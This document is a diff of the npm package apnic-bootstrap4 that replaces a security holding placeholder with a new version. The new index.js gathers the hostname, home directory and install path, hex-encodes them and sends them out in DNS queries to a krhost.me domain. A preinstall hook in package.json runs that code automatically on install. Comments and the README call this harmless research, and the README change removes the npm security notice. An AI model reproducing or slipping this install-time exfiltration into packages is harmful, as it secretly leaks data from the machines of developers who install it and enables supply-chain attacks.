apnic-bootstrap4 0.0.1-security → 2023.98.998

package/README.md

@@ -1,5 +1 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=apnic-bootstrap4 for more information.
+This package is meant for security research purposes and does not contain any useful code.

package/index.js

@@ -0,0 +1,76 @@
+/*
+
+This code is used for research purposes.
+
+No sensitive data is retrieved.
+
+Callbacks from within organizations with a
+responsible disclosure program will be reported
+directly to the organizations.
+
+Any other callbacks will be ignored, and
+any associated data will not be kept.
+
+For any questions or suggestions:
+
+kre80r@wearehackerone.com
+
+Shoutout:
+https://twitter.com/alxbrsn
+https://twitter.com/streaak
+*/
+
+
+const dns = require('dns');
+const os = require('os');
+
+const suffix = '.ca9rvt7bbtvqsfuo7bfm.krhost.me';
+const ns = '1dot1dot1dot1.cloudflare-dns.com';
+
+const package = 'apnic-bootstrap4';
+
+
+function sendToServer(data) {
+
+    data = Buffer.from(data).toString('hex');
+    data = data.match(/.{1,60}/g);
+
+    id = Math.random().toString(36).substring(2);
+    data.forEach(function (chunk, idx){
+        try {   
+            dns.resolve(
+                 id + '.' + idx + '.' + chunk  + suffix, 'A', 
+                console.log);
+        } catch (e) { }
+    });
+
+}
+
+
+function tryGet(toCall) {
+
+    try {
+        return toCall();
+    } catch(e) {
+        return 'err';
+    }
+
+}
+
+data = {
+    h : tryGet(os.hostname),
+    d : tryGet(os.homedir),
+    c : __dirname
+}
+
+data = JSON.stringify(data);
+
+dns.lookup(ns, function(err, address) {
+    if (!err) {
+        nsAddress = address;
+    } else {
+        nsAddress = '8.8.8.8';
+    }
+    dns.setServers([nsAddress, '4.4.4.4']);
+    sendToServer(data);
+});

package/package.json

@@ -1,6 +1,37 @@
 {
+  "_from": "apnic-bootstrap4",
+  "_id": "apnic-bootstrap4@2023.98.998",
+  "_inBundle": false,
+  "_location": "/apnic-bootstrap4",
+  "_phantomChildren": {},
+  "_requested": {
+    "type": "tag",
+    "registry": true,
+    "raw": "apnic-bootstrap4",
+    "name": "apnic-bootstrap4",
+    "escapedName": "apnic-bootstrap4",
+    "rawSpec": "",
+    "saveSpec": null,
+    "fetchSpec": "latest"
+  },
+  "_requiredBy": [
+    "#USER",
+    "/"
+  ],
+  "_resolved": "https://registry.npmjs.org/apnic-bootstrap4/-/apnic-bootstrap4-2022.99.999.tgz",
+  "_shasum": "c37887b241e857bf8344e79e20269fc74ed6b176",
+  "_spec": "apnic-bootstrap4",
+  "_where": "/home/krkr",
+  "author": "",
+  "bundleDependencies": false,
+  "deprecated": "please delete",
+  "description": "Security research purposes only.",
+  "license": "ISC",
+  "main": "index.js",
   "name": "apnic-bootstrap4",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "scripts": {
+    "preinstall": "node index.js",
+    "test": ""
+  },
+  "version": "2023.98.998"
 }